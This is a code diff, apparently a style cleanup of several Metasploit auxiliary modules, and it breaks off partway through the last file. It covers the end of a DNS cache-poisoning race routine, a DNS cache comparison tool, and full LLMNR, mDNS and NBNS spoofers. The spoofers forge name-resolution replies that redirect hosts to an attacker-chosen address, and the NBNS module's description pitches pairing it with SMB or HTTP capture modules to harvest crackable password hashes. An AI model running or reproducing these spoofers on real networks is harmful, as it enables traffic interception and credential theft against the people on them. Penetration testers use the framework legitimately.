answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname)
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
print_status("TTL: #{ttl} DATA: #{data}")
close_pcap
return
end
end
srv_sock.put(query.encode)
answer, = srv_sock.recvfrom
if answer && !answer.empty?
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
next unless ((name.to_s + '.') == hostname)
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
print_status("TTL: #{ttl} DATA: #{data}")
close_pcap
break
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end
end
@@ -392,22 +396,18 @@ class MetasploitModule < Msf::Auxiliary
# a few times to account for each nameserver the cache server
# may query for the target domain.
#
def calculate_race(server, domain, num=50)
def calculate_race(server, domain, num = 50)
cnt = 0
q_beg_t = nil
q_end_t = nil
cnt = 0
times = []
times = []
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
sock = Rex::Socket.create_udp(
'PeerHost' => server,
'PeerPort' => 53
)
req = Resolv::DNS::Message.new
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
req.rd = 1
@@ -417,17 +417,17 @@ class MetasploitModule < Msf::Auxiliary
sock.put(req.encode)
req.rd = 0
while(times.length < num)
res, addr = sock.recvfrom(65535, 0.01)
while (times.length < num)
res, = sock.recvfrom(65535, 0.01)
if res and res.length > 0
if res && !res.empty?
res = Resolv::DNS::Message.decode(res)
if(res.id == 1)
if (res.id == 1)
times << [Time.now.to_f - q_beg_t, cnt]
cnt = 0
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
sock.close
sock = Rex::Socket.create_udp(
@@ -453,23 +453,22 @@ class MetasploitModule < Msf::Auxiliary
sock.put(req.encode)
end
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
sum = 0
times.each{|i| sum += i[0]}
avg_time = ( (sum / times.length) * 100).to_i / 100.0
min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0
max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0
sum = 0
times.each { |i| sum += i[0] }
avg_time = ((sum / times.length) * 100).to_i / 100.0
min_count = times.map{|i| i[1]}.min
max_count = times.map{|i| i[1]}.max
sum = 0
times.each{|i| sum += i[1]}
min_count = times.map { |i| i[1] }.min
max_count = times.map { |i| i[1] }.max
sum = 0
times.each { |i| sum += i[1] }
avg_count = sum / times.length
sock.close
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
avg_count
end
+66 -64
View File
@@ -9,43 +9,49 @@ require 'resolv'
class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS Lookup Result Comparison',
'Description' => %q{
This module can be used to determine differences
in the cache entries between two DNS servers. This is
primarily useful for detecting cache poisoning attacks,
but can also be used to detect geo-location load balancing.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'DNS Lookup Result Comparison',
'Description' => %q{
This module can be used to determine differences
in the cache entries between two DNS servers. This is
primarily useful for detecting cache poisoning attacks,
but can also be used to detect geo-location load balancing.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
],
'DisclosureDate' => '2008-07-21'
))
'DisclosureDate' => '2008-07-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptAddress.new('BASEDNS', [ true, 'The DNS cache server to use as a baseline', '4.2.2.3' ]),
OptAddress.new('TARGDNS', [ true, 'The DNS cache server to test', nil ]),
OptString.new('NAMES', [ true, 'The list of host names that should be tested (comma separated)', 'www.google.com,www.yahoo.com,www.msn.com']),
OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]),
OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]),
])
register_options(
[
OptAddress.new('BASEDNS', [ true, 'The DNS cache server to use as a baseline', '4.2.2.3' ]),
OptAddress.new('TARGDNS', [ true, 'The DNS cache server to test', nil ]),
OptString.new('NAMES', [ true, 'The list of host names that should be tested (comma separated)', 'www.google.com,www.yahoo.com,www.msn.com']),
OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]),
OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]),
]
)
end
def run
base_addr = datastore['BASEDNS']
targ_addr = datastore['TARGDNS']
check_ar = datastore['CHECK_ADDITIONAL']
check_aa = datastore['CHECK_AUTHORITY']
names = datastore['NAMES'].split(",").map {|c| c.strip }
recurse = true
results = {}
check_ar = datastore['CHECK_ADDITIONAL']
check_aa = datastore['CHECK_AUTHORITY']
names = datastore['NAMES'].split(',').map(&:strip)
recurse = true
results = {}
print_status("Comparing results between #{base_addr} and #{targ_addr}...")
@@ -61,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
names.each do |entry|
entry.strip!
next if (entry.length == 0)
next if entry.empty?
req = Resolv::DNS::Message.new
req.add_question(entry, Resolv::DNS::Resource::IN::A)
@@ -72,12 +78,12 @@ class MetasploitModule < Msf::Auxiliary
base_sock.put(buf)
targ_sock.put(buf)
base_res, base_saddr = base_sock.recvfrom(65535, 3.0)
targ_res, targ_saddr = targ_sock.recvfrom(65535, 3.0)
base_res, = base_sock.recvfrom(65535, 3.0)
targ_res, = targ_sock.recvfrom(65535, 3.0)
if !(base_res and targ_res and base_res.length > 0 and targ_res.length > 0)
print_error(" Error: The baseline server did not respond to our request.") if ! (base_res and base_res.length > 0)
print_error(" Error: The target server did not respond to our request.") if ! (targ_res and targ_res.length > 0)
if !(base_res && targ_res && !base_res.empty? && !targ_res.empty?)
print_error(' Error: The baseline server did not respond to our request.') if !(base_res && !base_res.empty?)
print_error(' Error: The target server did not respond to our request.') if !(targ_res && !targ_res.empty?)
next
end
@@ -88,13 +94,13 @@ class MetasploitModule < Msf::Auxiliary
hkey = (res == base_res) ? :base : :targ
rrset = res.answer
rrset += res.authority if check_aa
rrset += res.authority if check_aa
rrset += res.additional if check_ar
(rrset).each do |ref|
name,ttl,data = ref
rrset.each do |ref|
name, _, data = ref
name = name.to_s
name.to_s
anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '')
case data
when Resolv::DNS::Resource::IN::NS
@@ -111,40 +117,37 @@ class MetasploitModule < Msf::Auxiliary
data = anst
end
results[entry]||={}
results[entry][hkey]||={}
results[entry][hkey][anst]||=[]
results[entry] ||= {}
results[entry][hkey] ||= {}
results[entry][hkey][anst] ||= []
results[entry][hkey][anst] << data
end
end
end
[ base_sock, targ_sock ].each {|s| s.close }
[ base_sock, targ_sock ].each(&:close)
print_status("Analyzing results for #{results.keys.length} entries...")
results.each_key do |entry|
n_add = []
n_sub = []
# Look for additional entries in the target NS
if(results[entry][:targ])
if (results[entry][:targ])
results[entry][:targ].each_key do |rtype|
if(not results[entry][:base] or not results[entry][:base][rtype])
results[entry][:targ][rtype].sort.each do |ref|
n_sub << (" + #{entry} #{rtype} #{ref}")
end
next unless !(results[entry][:base]) || !(results[entry][:base][rtype])
results[entry][:targ][rtype].sort.each do |ref|
n_sub << (" + #{entry} #{rtype} #{ref}")
end
end
end
if (results[entry][:base])
results[entry][:base].each_key do |rtype|
# Look for missing entries in the target NS
if(not results[entry][:targ] or not results[entry][:targ][rtype])
if !(results[entry][:targ]) || !(results[entry][:targ][rtype])
results[entry][:base][rtype].sort.each do |ref|
n_sub << (" - #{entry} #{rtype} #{ref}")
end
@@ -152,24 +155,23 @@ class MetasploitModule < Msf::Auxiliary
end
# Look for differences
if( results[entry][:base][rtype].sort != results[entry][:targ][rtype].sort )
results[entry][:base][rtype].sort.each do |ref|
if(not results[entry][:targ][rtype].include?(ref))
n_sub << (" - #{entry} #{rtype} #{ref}")
end
next unless (results[entry][:base][rtype].sort != results[entry][:targ][rtype].sort)
results[entry][:base][rtype].sort.each do |ref|
if !results[entry][:targ][rtype].include?(ref)
n_sub << (" - #{entry} #{rtype} #{ref}")
end
results[entry][:targ][rtype].sort.each do |ref|
if(not results[entry][:base][rtype].include?(ref))
n_add << (" + #{entry} #{rtype} #{ref}")
end
end
results[entry][:targ][rtype].sort.each do |ref|
if !results[entry][:base][rtype].include?(ref)
n_add << (" + #{entry} #{rtype} #{ref}")
end
end
end
end
n_sub.each {|s| print_status(s) }
n_add.each {|s| print_status(s) }
n_sub.each { |s| print_status(s) }
n_add.each { |s| print_status(s) }
end
end
end
@@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
+82 -78
View File
@@ -9,41 +9,42 @@ require 'net/dns'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'LLMNR Spoofer',
'Name' => 'LLMNR Spoofer',
'Description' => %q{
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
},
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
],
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
],
'Actions' =>
[
[ 'Service', 'Description' => 'Run LLMNR spoofing service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
'Actions' => [
[ 'Service', { 'Description' => 'Run LLMNR spoofing service' } ]
],
'PassiveActions' => [
'Service'
],
'DefaultAction' => 'Service',
'Notes' => {
'Stability' => [OS_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options([
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),
OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]),
OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '']),
OptRegexp.new('REGEX', [ true, 'Regex applied to the LLMNR Name to determine if spoofed reply is sent', '.*']),
OptInt.new('TTL', [ false, 'Time To Live for the spoofed response', 30]),
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
@@ -83,35 +84,35 @@ attr_accessor :sock, :thread
case question.qType.to_i
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::A,
:address => spoof.to_s
name: name,
ttl: datastore['TTL'],
cls: ::Net::DNS::IN,
type: ::Net::DNS::A,
address: spoof.to_s
)
when ::Net::DNS::AAAA
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::AAAA,
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
name: name,
ttl: datastore['TTL'],
cls: ::Net::DNS::IN,
type: ::Net::DNS::AAAA,
address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
)
when ::Net::DNS::ANY
# For ANY queries, respond with both an A record as well as an AAAA.
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::A,
:address => spoof.to_s
name: name,
ttl: datastore['TTL'],
cls: ::Net::DNS::IN,
type: ::Net::DNS::A,
address: spoof.to_s
)
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::AAAA,
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
name: name,
ttl: datastore['TTL'],
cls: ::Net::DNS::IN,
type: ::Net::DNS::AAAA,
address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
)
when ::Net::DNS::PTR
# Sometimes PTR queries are received. We will silently ignore them.
@@ -127,28 +128,28 @@ attr_accessor :sock, :thread
return if dns_pkt.answer.empty?
udp = ::PacketFu::UDPHeader.new(
:udp_src => 5355,
:udp_dst => src_port,
:body => dns_pkt.data
udp_src: 5355,
udp_dst: src_port,
body: dns_pkt.data
)
udp.udp_recalc
if rhost.ipv4?
ip_pkt = ::PacketFu::IPPacket.new(
:ip_src => spoof.hton,
:ip_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
ip_src: spoof.hton,
ip_dst: rhost.hton,
ip_proto: 0x11, # UDP
body: udp
)
elsif rhost.ipv6?
ip_pkt = ::PacketFu::IPv6Packet.new(
:ipv6_src => spoof.hton,
:ipv6_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
ipv6_src: spoof.hton,
ipv6_dst: rhost.hton,
ip_proto: 0x11, # UDP
body: udp
)
else
# Should never get here
print_error("IP version is not 4 or 6. Failed to parse?")
print_error('IP version is not 4 or 6. Failed to parse?')
return
end
ip_pkt.recalc
@@ -157,21 +158,20 @@ attr_accessor :sock, :thread
end
def monitor_socket
while true
rds = [self.sock]
loop do
rds = [sock]
wds = []
eds = [self.sock]
eds = [sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
r, = ::IO.select(rds, wds, eds, 0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
if !r.nil? && (r[0] == sock)
packet, host, port = sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
# Don't spam with success, just throttle to every 10 seconds
# per host
def should_print_reply?(host)
@@ -179,7 +179,7 @@ attr_accessor :sock, :thread
now = Time.now.utc
@notified_times[host] ||= now
last_notified = now - @notified_times[host]
if last_notified == 0 or last_notified > 10
if (last_notified == 0) || (last_notified > 10)
@notified_times[host] = now
else
false
@@ -187,48 +187,52 @@ attr_accessor :sock, :thread
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
check_pcaprub_loaded
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252")
multicast_addr = ::IPAddr.new('224.0.0.252')
# The bind address here will determine which interface we receive
# multicast packets from. If the address is INADDR_ANY, we get them
# from all interfaces, so try to restrict if we can, but fall back
# if we can't
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
bind_addr = begin
get_ipv4_addr(datastore['INTERFACE'])
rescue StandardError
'0.0.0.0'
end
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalHost' => '0.0.0.0',
'LocalPort' => 5355,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
self.thread = Rex::ThreadFactory.spawn('LLMNRServerMonitor', false) do
monitor_socket
}
end
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
add_socket(sock)
self.thread.join
thread.join
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
if thread && thread.alive?
thread.kill
self.thread = nil
end
self.sock.close
sock.close
close_pcap
end
end
+85 -79
View File
@@ -9,40 +9,41 @@ require 'net/dns'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'mDNS Spoofer',
'Name' => 'mDNS Spoofer',
'Description' => %q{
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
},
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
],
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
],
'Actions' =>
[
[ 'Service', 'Description' => 'Run mDNS spoofing service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
'Actions' => [
[ 'Service', { 'Description' => 'Run mDNS spoofing service' } ]
],
'PassiveActions' => [
'Service'
],
'DefaultAction' => 'Service',
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options([
OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),
OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),
OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),
OptAddress.new('SPOOFIP4', [ true, 'IPv4 address with which to spoof A-record queries', '']),
OptAddress.new('SPOOFIP6', [ false, 'IPv6 address with which to spoof AAAA-record queries', '']),
OptRegexp.new('REGEX', [ true, 'Regex applied to the mDNS to determine if spoofed reply is sent', '.*']),
OptInt.new('TTL', [ false, 'Time To Live for the spoofed response (in seconds)', 120]),
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
@@ -64,12 +65,16 @@ attr_accessor :sock, :thread
dns_pkt = nil
begin
dns_pkt = ::Net::DNS::Packet.parse(packet)
rescue
rescue StandardError
return
end
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''
spoof6 = begin
::IPAddr.new(datastore['SPOOFIP6'])
rescue StandardError
''
end
# Turn this packet into an authoritative response.
dns_pkt.header.qr = 1
@@ -78,11 +83,9 @@ attr_accessor :sock, :thread
qm = true
dns_pkt.question.each do |question|
name = question.qName
if datastore['REGEX'] != '.*'
unless name =~ /#{datastore['REGEX']}/i
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
next
end
if datastore['REGEX'] != '.*' && name !~ /#{datastore['REGEX']}/i
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
next
end
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
@@ -96,21 +99,21 @@ attr_accessor :sock, :thread
case question.qType.to_i
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => datastore['TTL'],
:cls => 0x8001, # Class IN, with flush cache flag
:type => ::Net::DNS::A,
:address => spoof4.to_s
name: name,
ttl: datastore['TTL'],
cls: 0x8001, # Class IN, with flush cache flag
type: ::Net::DNS::A,
address: spoof4.to_s
)
responding_with = spoof4.to_s
when ::Net::DNS::AAAA
if spoof6 != ''
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => datastore['TTL'],
:cls => 0x8001, # Class IN, with flush cache flag
:type => ::Net::DNS::AAAA,
:address => spoof6.to_s
name: name,
ttl: datastore['TTL'],
cls: 0x8001, # Class IN, with flush cache flag
type: ::Net::DNS::AAAA,
address: spoof6.to_s
)
responding_with = spoof6.to_s
end
@@ -120,13 +123,13 @@ attr_accessor :sock, :thread
end
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
if not responding_with.nil? and should_print_reply?(name)
if !responding_with.nil? && should_print_reply?(name)
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
end
end
# Clear the questions from the responses. They aren't observed in legit responses.
dns_pkt.question.clear()
dns_pkt.question.clear
# If we didn't find anything we want to spoof, don't send any
# packets
@@ -134,11 +137,11 @@ attr_accessor :sock, :thread
begin
udp = ::PacketFu::UDPHeader.new(
:udp_src => 5353,
:udp_dst => src_port,
:body => dns_pkt.data
udp_src: 5353,
udp_dst: src_port,
body: dns_pkt.data
)
rescue
rescue StandardError
return
end
udp.udp_recalc
@@ -150,24 +153,24 @@ attr_accessor :sock, :thread
dst = ::IPAddr.new('224.0.0.251')
end
ip_pkt = ::PacketFu::IPPacket.new(
:ip_src => spoof4.hton,
:ip_dst => dst.hton,
:ip_proto => 0x11, # UDP
:body => udp
ip_src: spoof4.hton,
ip_dst: dst.hton,
ip_proto: 0x11, # UDP
body: udp
)
elsif rhost.ipv6?
if qm
dst = ::IPAddr.new('ff02::fb')
end
ip_pkt = ::PacketFu::IPv6Packet.new(
:ipv6_src => spoof6.hton,
:ipv6_dst => dst.hton,
:ip_proto => 0x11, # UDP
:body => udp
ipv6_src: spoof6.hton,
ipv6_dst: dst.hton,
ip_proto: 0x11, # UDP
body: udp
)
else
# Should never get here
print_error("IP version is not 4 or 6. Failed to parse?")
print_error('IP version is not 4 or 6. Failed to parse?')
return
end
ip_pkt.recalc
@@ -176,21 +179,20 @@ attr_accessor :sock, :thread
end
def monitor_socket
while true
rds = [self.sock]
loop do
rds = [sock]
wds = []
eds = [self.sock]
eds = [sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
r, = ::IO.select(rds, wds, eds, 0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
if !r.nil? && (r[0] == sock)
packet, host, port = sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
# Don't spam with success, just throttle to every 10 seconds
# per host
def should_print_reply?(host)
@@ -198,7 +200,7 @@ attr_accessor :sock, :thread
now = Time.now.utc
@notified_times[host] ||= now
last_notified = now - @notified_times[host]
if last_notified == 0 or last_notified > 10
if (last_notified == 0) || (last_notified > 10)
@notified_times[host] = now
else
false
@@ -206,48 +208,52 @@ attr_accessor :sock, :thread
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
check_pcaprub_loaded
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.251")
multicast_addr = ::IPAddr.new('224.0.0.251')
# The bind address here will determine which interface we receive
# multicast packets from. If the address is INADDR_ANY, we get them
# from all interfaces, so try to restrict if we can, but fall back
# if we can't
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
bind_addr = begin
get_ipv4_addr(datastore['INTERFACE'])
rescue StandardError
'0.0.0.0'
end
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalHost' => '0.0.0.0',
'LocalPort' => 5353,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {
self.thread = Rex::ThreadFactory.spawn('MDNSServerMonitor', false) do
monitor_socket
}
end
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
add_socket(sock)
self.thread.join
thread.join
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
if thread && thread.alive?
thread.kill
self.thread = nil
end
self.sock.close
sock.close
close_pcap
end
end
+77 -77
View File
@@ -3,44 +3,46 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'NetBIOS Name Service Spoofer',
'Description' => %q{
This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
sent to the local subnet's broadcast address and spoof a response, redirecting the querying
machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on
common networks.
'Name' => 'NetBIOS Name Service Spoofer',
'Description' => %q{
This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
sent to the local subnet's broadcast address and spoof a response, redirecting the querying
machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable
hashes on common networks.
This module must be run as root and will bind to udp/137 on all interfaces.
This module must be run as root and will bind to udp/137 on all interfaces.
},
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
],
'Actions' =>
[
[ 'Service', 'Description' => 'Run NBNS spoofing service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
],
'Actions' => [
[ 'Service', { 'Description' => 'Run NBNS spoofing service' } ]
],
'PassiveActions' => [
'Service'
],
'DefaultAction' => 'Service',
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options([
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '127.0.0.1']),
OptRegexp.new('REGEX', [ true, 'Regex applied to the NB Name to determine if spoofed reply is sent', '.*']),
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
@@ -62,22 +64,22 @@ class MetasploitModule < Msf::Auxiliary
spoof = ::IPAddr.new(datastore['SPOOFIP'])
return if packet.length == 0
return if packet.empty?
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name = packet[12..45]
decoded = ''
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
decoded << (c - 65).to_s(16).to_s
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
nbnsq_decodedname = [decoded].pack('H*').to_s.strip
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i
@@ -98,18 +100,18 @@ class MetasploitModule < Msf::Auxiliary
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoritative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whatever that means
spoof.hton
"\x85\x00" + # Flags = response + authoritative + recursion desired +
"\x00\x00" + # Questions = 0
